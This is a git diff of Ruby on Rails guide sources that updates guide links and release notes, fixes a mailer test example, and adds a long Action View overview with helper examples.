-* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html
+* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html
* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
-* "Active Record Finders":http://guides.rubyonrails.org/finders.html
+* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html
* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
-* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html
-* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html
+* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html
+* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html
* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
-* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html
+* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html
* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
-* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html
-* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html
+* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html
+* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html
All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
@@ -229,7 +229,7 @@ This will enable recognition of (among others) these routes:
* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
* More information:
-** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources
+** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#_nested_resources
** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
h4. Method Arrays for Member or Collection Routes
diff --git a/railties/guides/source/2_3_release_notes.textile b/railties/guides/source/2_3_release_notes.textile
index bb2998fbdf..b864c5dc79 100644
--- a/railties/guides/source/2_3_release_notes.textile
+++ b/railties/guides/source/2_3_release_notes.textile
@@ -81,7 +81,7 @@ accepts_nested_attributes_for :author,
:reject_if => proc { |attributes| attributes['name'].blank? }
</ruby>
-* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* Lead Contributor: "Eloy Duran":http://superalloy.nl/
* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
h4. Nested Transactions
@@ -365,10 +365,10 @@ You can write this view in Rails 2.3:
<% end %>
</erb>
-* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* Lead Contributor: "Eloy Duran":http://superalloy.nl/
* More Information:
** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes
+** "complex-form-examples":http://github.com/alloy/complex-form-examples
** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
h4. Smart Rendering of Partials
diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile
index 2e7f0e7fed..931ebe8a34 100644
--- a/railties/guides/source/action_mailer_basics.textile
+++ b/railties/guides/source/action_mailer_basics.textile
@@ -402,8 +402,6 @@ Testing mailers normally involves two things: One is that the mail was queued, a
<ruby>
class UserMailerTest < ActionMailer::TestCase
- tests UserMailer
-
def test_welcome_email
user = users(:some_user_in_your_fixtures)
@@ -412,7 +410,7 @@ class UserMailerTest < ActionMailer::TestCase
assert !ActionMailer::Base.deliveries.empty?
# Test the body of the sent email contains what we expect it to
- assert_equal [@user.email], email.to
+ assert_equal [user.email], email.to
assert_equal "Welcome to My Awesome Site", email.subject
assert_match /Welcome to example.com, #{user.first_name}/, email.body
end
diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile
index ebc267ab71..4aa43a8f3c 100644
--- a/railties/guides/source/action_view_overview.textile
+++ b/railties/guides/source/action_view_overview.textile
@@ -2,13 +2,21 @@ h2. Action View Overview
In this guide you will learn:
-* What Action View is, and how to use it
+* What Action View is, and how to use it with Rails
+* How to use Action View outside of Rails
+* How best to use templates, partials, and layouts
+* What helpers are provided by Action View, and how to make your own
+* How to use localized views
endprologue.
h3. What is Action View?
-TODO...
+Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
+
+Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
+
+Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
h3. Using Action View with Rails
@@ -16,27 +24,1432 @@ TODO...
h3. Using Action View outside of Rails
-TODO...
+Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+
+Let's start by ensuring that you have the Action Pack and Rack gems installed:
+
+<shell>
+gem install actionpack
+gem install rack
+</shell>
+
+Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Action View.
+
+*hello_world.rb:*
+
+<ruby>
+require 'rubygems'
+require 'action_view'
+require 'rack'
+
+def hello_world(env)
+ [200, {"Content-Type" => "text/html"}, "hello world".titleize]
+end
+
+Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567
+</ruby>
+
+We can see this all come together by starting up the application and then visiting +http://localhost:4567/+
+
+<shell>
+ruby hello_world.rb
+</shell>
+
+TODO needs a screenshot? I have one - not sure where to put it.
+
+Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method.
+
+Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way.
+
+Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
+
+<shell>
+gem install actionpack
+gem install sinatra
+</shell>
+
+Now we'll create the same "Hello World" application in Sinatra.
+
+*hello_world.rb:*
+
+<ruby>
+require 'rubygems'
+require 'action_view'
+require 'sinatra'
+
+get '/' do
+ erb 'hello world'.titleize
+end
+</ruby>
+
+Then, we can run the application:
+
+<shell>
+ruby hello_world.rb
+</shell>
+
+Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+
+
+TODO needs a screenshot? I have one - not sure where to put it.
h3. Templates, Partials and Layouts
TODO...
+TODO see http://guides.rubyonrails.org/layouts_and_rendering.html
+
h3. Using Templates, Partials and Layouts in "The Rails Way"
TODO...
h3. Partial Layouts
-TODO...
+Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+
+Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+:
+
+<ruby>
+Post.create(:body => 'Partial Layouts are cool!')
+</ruby>
+
+In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout:
+
+*posts/show.html.erb*
+
+<ruby>
+<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
+</ruby>
+
+The +box+ layout simply wraps the +post+ partial in a +div+:
+
+*posts/_box.html.erb*
+
+<ruby>
+<div class='box'>
+ <%= yield %>
+</div>
+</ruby>
+
+The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper:
+
+*posts/_post.html.erb*
+
+<ruby>
+<% div_for(post) do %>
+ <p><%= post.body %></p>
+<% end %>
+</ruby>
+
+This example would output the following:
+
+<html>
+<div class='box'>
+ <div id='post_1'>
+ <p>Partial Layouts are cool!</p>
+ </div>
+</div>
+</html>
+
+Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+
+You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead:
+
+*posts/show.html.erb*
+
+<ruby>
+<% render(:layout => 'box', :locals => {:post => @post}) do %>
+ <% div_for(post) do %>
+ <p><%= post.body %></p>
+ <% end %>
+<% end %>
+</ruby>
+
+If we're using the same +box+ partial from above, his would produce the same output as the previous example.
h3. View Paths
TODO...
-h3. Overview of all the helpers provided by AV
+h3. Overview of all the helpers provided by Action View
+
+The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.
+
+h4. ActiveRecordHelper
+
+The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
+
+h5. error_message_on
+
+Returns a string containing the error message attached to the method on the object if one exists.
+
+<ruby>
+error_message_on "post", "title"
+</ruby>
+
+h5. error_messages_for
+
+Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
+
+<ruby>
+error_messages_for "post"
+</ruby>
+
+h5. form
+
+Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
+
+<ruby>
+form("post")
+</ruby>
+
+<html>
+<form action='/posts/create' method='post'>
+ <p>
+ <label for="post_title">Title</label><br />
+ <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
+ </p>
+ <p>
+ <label for="post_body">Body</label><br />
+ <textarea cols="40" id="post_body" name="post[body]" rows="20"></textarea>
+ </p>
+ <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
+
+h5. input
+
+Returns a default input tag for the type of object returned by the method.
+
+For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World":
+
+<ruby>
+input("post", "title") # =>
+ <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
+</ruby>
+
+h4. AssetTagHelper
+
+This module provides methods for generating HTML that links views to assets such as images, javascripts, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +ActionController::Base.asset_host+ in your +config/environment.rb+. For example, let's say your asset host is +assets.example.com+:
+
+<ruby>
+ActionController::Base.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+</ruby>
+
+h5. register_javascript_expansion
+
+Register one or more javascript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register javascript files that the plugin installed in public/javascripts.
+
+<ruby>
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
+
+javascript_include_tag :monkey # =>
+ <script type="text/javascript" src="/javascripts/head.js"></script>
+ <script type="text/javascript" src="/javascripts/body.js"></script>
+ <script type="text/javascript" src="/javascripts/tail.js"></script>
+</ruby>
+
+h5. register_javascript_include_default
+
+Register one or more additional JavaScript files to be included when +javascript_include_tag :defaults+ is called. This method is typically intended to be called from plugin initialization to register additional +.js+ files that the plugin installed in +public/javascripts+.
+
+h5. register_stylesheet_expansion
+
+Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+.
+
+<ruby>
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
+
+stylesheet_link_tag :monkey # =>
+ <link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" />
+ <link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />
+ <link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />
+</ruby>
+
+h5. auto_discovery_link_tag
+
+Returns a link tag that browsers and news readers can use to auto-detect an RSS or ATOM feed.
+
+<ruby>
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # =>
+ <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
+</ruby>
+
+h5. image_path
+
+Computes the path to an image asset in the public images directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
+
+<ruby>
+image_path("edit.png") # => /images/edit.png
+</ruby>
+
+h5. image_tag
+
+Returns an html image tag for the source. The source can be a full path or a file that exists in your public images directory.
+
+<ruby>
+image_tag("icon.png") # => <img src="/images/icon.png" alt="Icon" />
+</ruby>
+
+h5. javascript_include_tag
+
+Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of javascript files that exist in your +public/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
+
+<ruby>
+javascript_include_tag "common" # =>
+ <script type="text/javascript" src="/javascripts/common.js"></script>
+</ruby>
+
+To include the Prototype and Scriptaculous javascript libraries in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +public/javascripts+ directory, it will be included as well.
+
+<ruby>
+javascript_include_tag :defaults
+</ruby>
+
+You can also include all javascripts in the javascripts directory using +:all+ as the source.
+
+<ruby>
+javascript_include_tag :all
+</ruby>
+
+You can also cache multiple javascripts into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+<ruby>
+javascript_include_tag :all, :cache => true # =>
+ <script type="text/javascript" src="/javascripts/all.js"></script>
+</ruby>
+
+h5. javascript_path
+
+Computes the path to a javascript asset in the +public/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
+
+<ruby>
+javascript_path "common" # => /javascripts/common.js
+</ruby>
+
+h5. stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
+
+<ruby>
+stylesheet_link_tag "application" # =>
+ <link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+</ruby>
+
+You can also include all styles in the stylesheet directory using :all as the source:
+
+<ruby>
+stylesheet_link_tag :all
+</ruby>
+
+You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+<ruby>
+stylesheet_link_tag :all, :cache => true
+ <link href="/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />
+</ruby>
+
+h5. stylesheet_path
+
+Computes the path to a stylesheet asset in the public stylesheets directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+
+<ruby>
+stylesheet_path "application" # => /stylesheets/application.css
+</ruby>
+
+h4. AtomFeedHelper
+
+h5. atom_feed
+
+This helper makes building an ATOM feed easy. Here's a full usage example:
+
+*config/routes.rb*
+
+<ruby>
+map.resources :posts
+</ruby>
+
+*app/controllers/posts_controller.rb*
+
+<ruby>
+def index
+ @posts = Post.find(:all)
+
+ respond_to do |format|
+ format.html
+ format.atom
+ end
+end
+</ruby>
+
+*app/views/posts/index.atom.builder*
+
+<ruby>
+atom_feed do |feed|
+ feed.title("Posts Index")
+ feed.updated((@posts.first.created_at))
+
+ for post in @posts
+ feed.entry(post) do |entry|
+ entry.title(post.title)
+ entry.content(post.body, :type => 'html')
+
+ entry.author do |author|
+ author.name(post.author_name)
+ end
+ end
+ end
+end
+</ruby>
+
+h4. BenchmarkHelper
+
+h5. benchmark
+
+Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
+
+<ruby>
+<% benchmark "Process data files" do %>
+ <%= expensive_files_operation %>
+<% end %>
+</ruby>
+
+This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+
+h4. CacheHelper
+
+h5. cache
+
+A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
+
+<ruby>
+<% cache do %>
+ <%= render :partial => "shared/footer" %>
+<% end %>
+</ruby>
+
+h4. CaptureHelper
+
+h5. capture
+
+The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+
+<ruby>
+<% @greeting = capture do %>
+ <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+<ruby>
+
+The captured variable can then be used anywhere else.
+
+<ruby>
+<html>
+ <head>
+ <title>Welcome!</title>
+ </head>
+ <body>
+ <%= @greeting %>
+ </body>
+</html>
+</ruby>
+
+h5. content_for
+
+Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+.
+
+For example, let's say we have a standard application layout, but also a special page that requires certain Javascript that the rest of the site doesn't need. We can use +content_for+ to include this Javascript on our special page without fattening up the rest of the site.
+
+*app/views/layouts/application.html.erb*
+
+<ruby>
+<html>
+ <head>
+ <title>Welcome!</title>
+ <%= yield :special_script %>
+ </head>
+ <body>
+ <p>Welcome! The date and time is <%= Time.now %></p>
+ </body>
+</html>
+</ruby>
+
+*app/views/posts/special.html.erb*
+
+<ruby>
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+ <script type="text/javascript">alert('Hello!')</script>
+<% end %>
+</ruby>
+
+h4. DateHelper
+
+h5. date_select
+
+Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
+
+<ruby>
+date_select("post", "published_on")
+</ruby>
+
+h5. datetime_select
+
+Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
+
+<ruby>
+datetime_select("post", "published_on")
+</ruby>
+
+h5. distance_of_time_in_words
+
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
+
+<ruby>
+distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, true) # => less than 20 seconds
+</ruby>
+
+h5. select_date
+
+Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
+
+<ruby>
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+</ruby>
+
+h5. select_datetime
+
+Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
+
+<ruby>
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+</ruby>
+
+h5. select_day
+
+Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+
+<ruby>
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+</ruby>
+
+h5. select_hour
+
+Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+
+<ruby>
+# Generates a select field for minutes that defaults to the minutes for the time provided
+select_minute(Time.now + 6.hours)
+</ruby>
+
+h5. select_minute
+
+Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+
+<ruby>
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 6.hours)
+</ruby>
+
+h5. select_month
+
+Returns a select tag with options for each of the months January through December with the current month selected.
+
+<ruby>
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+</ruby>
+
+h5. select_second
+
+Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+
+<ruby>
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.minutes)
+</ruby>
+
+h5. select_time
+
+Returns a set of html select-tags (one for hour and minute).
+
+<ruby>
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+</ruby>
+
+h5. select_year
+
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
+
+<ruby>
+# Generates a select field for five years on either side of +Date.today+ that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, :start_year => 1900, :end_year => 2009)
+</ruby>
+
+h5. time_ago_in_words
+
+Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
+
+<ruby>
+time_ago_in_words(3.minutes.from_now) # => 3 minutes
+</ruby>
+
+h5. time_select
+
+Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+
+<ruby>
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+</ruby>
+
+h4. DebugHelper
+
+Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+
+<ruby>
+my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
+debug(my_hash)
+</ruby>
+
+<html>
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+</html>
+
+h4. FormHelper
+
+Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
+
+There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don‘t work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+
+The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
+
+<ruby>
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<% form_for :person, @person, :url => { :action => "create" } do |f| %>
+ <%= f.text_field :first_name %>
+ <%= f.text_field :last_name %>
+ <%= submit_tag 'Create' %>
+<% end %>
+</ruby>
+
+The HTML generated for this would be:
+
+<html>
+<form action="/persons/create" method="post">
+ <input id="person_first_name" name="person[first_name]" size="30" type="text" />
+ <input id="person_last_name" name="person[last_name]" size="30" type="text" />
+ <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+The params object created when this form is submitted would look like:
+
+<ruby>
+{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
+</ruby>
+
+The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+
+h5. check_box
+
+Returns a checkbox tag tailored for accessing a specified attribute.
+
+<ruby>
+# Let's say that @post.validated? is 1:
+check_box("post", "validated")
+# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+# <input name="post[validated]" type="hidden" value="0" />
+</ruby>
+
+h5. fields_for
+
+Creates a scope around a specific model object like form_for, but doesn‘t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
+
+<ruby>
+<% form_for @person, :url => { :action => "update" } do |person_form| %>
+ First name: <%= person_form.text_field :first_name %>
+ Last name : <%= person_form.text_field :last_name %>
+
+ <% fields_for @person.permission do |permission_fields| %>
+ Admin? : <%= permission_fields.check_box :admin %>
+ <% end %>
+<% end %>
+</ruby>
+
+h5. file_field
+
+Returns an file upload input tag tailored for accessing a specified attribute.
+
+<ruby>
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+</ruby>
+
+h5. form_for
+
+Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
+
+<ruby>
+<% form_for @post do |f| %>
+ <%= f.label :title, 'Title' %>:
+ <%= f.text_field :title %><br />
+ <%= f.label :body, 'Body' %>:
+ <%= f.text_area :body %><br />
+<% end %>
+</ruby>
+
+h5. hidden_field
+
+Returns a hidden input tag tailored for accessing a specified attribute.
+
+<ruby>
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+</ruby>
+
+h5. label
+
+Returns a label tag tailored for labelling an input field for a specified attribute.
+
+<ruby>
+label(:post, :title)
+# => <label for="post_title">Title</label>
+</ruby>
+
+h5. password_field
+
+Returns an input tag of the "password" type tailored for accessing a specified attribute.
+
+<ruby>
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+</ruby>
+
+h5. radio_button
+
+Returns a radio button tag for accessing a specified attribute.
+
+<ruby>
+# Let's say that @post.category returns "rails":
+radio_button("post", "category", "rails")
+radio_button("post", "category", "java")
+# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+# <input type="radio" id="post_category_java" name="post[category]" value="java" />
+</ruby>
+
+h5. text_area
+
+Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
+
+<ruby>
+text_area(:comment, :text, :size => "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+# #{@comment.text}
+# </textarea>
+</ruby>
+
+h5. text_field
+
+Returns an input tag of the "text" type tailored for accessing a specified attribute.
+
+<ruby>
+text_field(:post, :title)
+# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+</ruby>
+
+h4. FormOptionsHelper
+
+Provides a number of methods for turning different kinds of containers into a set of option tags.
+
+h5. collection_select
+
+Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class.
+
+Example object structure for use with this method:
+
+<ruby>
+class Post < ActiveRecord::Base
+ belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+ has_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+</ruby>
+
+Sample usage (selecting the associated Author for an instance of Post, +@post+):
+
+<ruby>
+collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt => true})
+</ruby>
+
+If @post.author_id is already 1, this would return:
+
+<html>
+<select name="post[author_id]">
+ <option value="">Please select</option>
+ <option value="1" selected="selected">D. Heinemeier Hansson</option>
+ <option value="2">D. Thomas</option>
+ <option value="3">M. Clark</option>
+</select>
+</html>
+
+h5. country_options_for_select
+
+Returns a string of option tags for pretty much any country in the world.
+
+h5. country_select
+
+Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+
+h5. option_groups_from_collection_for_select
+
+Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments.
+
+Example object structure for use with this method:
+
+<ruby>
+class Continent < ActiveRecord::Base
+ has_many :countries
+ # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+ belongs_to :continent
+ # attribs: id, name, continent_id
+end
+</ruby>
+
+Sample usage:
+
+<ruby>
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+</ruby>
+
+TODO check above textile output looks right
+
+Possible output:
+
+<html>
+<optgroup label="Africa">
+ <option value="1">Egypt</option>
+ <option value="4">Rwanda</option>
+ ...
+</optgroup>
+<optgroup label="Asia">
+ <option value="3" selected="selected">China</option>
+ <option value="12">India</option>
+ <option value="5">Japan</option>
+ ...
+</optgroup>
+</html>
+
+Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
+
+h5. options_for_select
+
+Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
+
+<ruby>
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+</ruby>
+
+Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
+
+h5. options_from_collection_for_select
+
+Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+
+<ruby>
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+</ruby>
+
+For example, imagine a loop iterating over each person in @project.people to generate an input tag:
+
+<ruby>
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+</ruby>
+
+Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
+
+h5. select
+
+Create a select tag and a series of contained option tags for the provided object and method.
+
+Example with @post.person_id => 1:
+
+<ruby>
+select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank => true })
+</ruby>
+
+could become:
+
+<html>
+<select name="post[person_id]">
+ <option value=""></option>
+ <option value="1" selected="selected">David</option>
+ <option value="2">Sam</option>
+ <option value="3">Tobias</option>
+</select>
+</html>
+
+h5. time_zone_options_for_select
+
+Returns a string of option tags for pretty much any time zone in the world.
+
+h5. time_zone_select
+
+Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
+
+<ruby>
+time_zone_select( "user", "time_zone")
+</ruby>
+
+h4. FormTagHelper
+
+Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+
+h5. check_box_tag
+
+Creates a check box form input tag.
+
+<ruby>
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+</ruby>
+
+h5. field_set_tag
+
+Creates a field set for grouping HTML form elements.
+
+<ruby>
+<% field_set_tag do %>
+ <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+</ruby>
+
+h5. file_field_tag
+
+Creates a file upload field.
+
+If you are using file uploads then you will also need to set the multipart option for the form tag:
+
+<ruby>
+<%= form_tag { :action => "post" }, { :multipart => true } %>
+ <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+ <%= submit_tag %>
+<%= end_form_tag %>
+</ruby>
+
+Example output:
+
+<ruby>
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+</ruby>
+
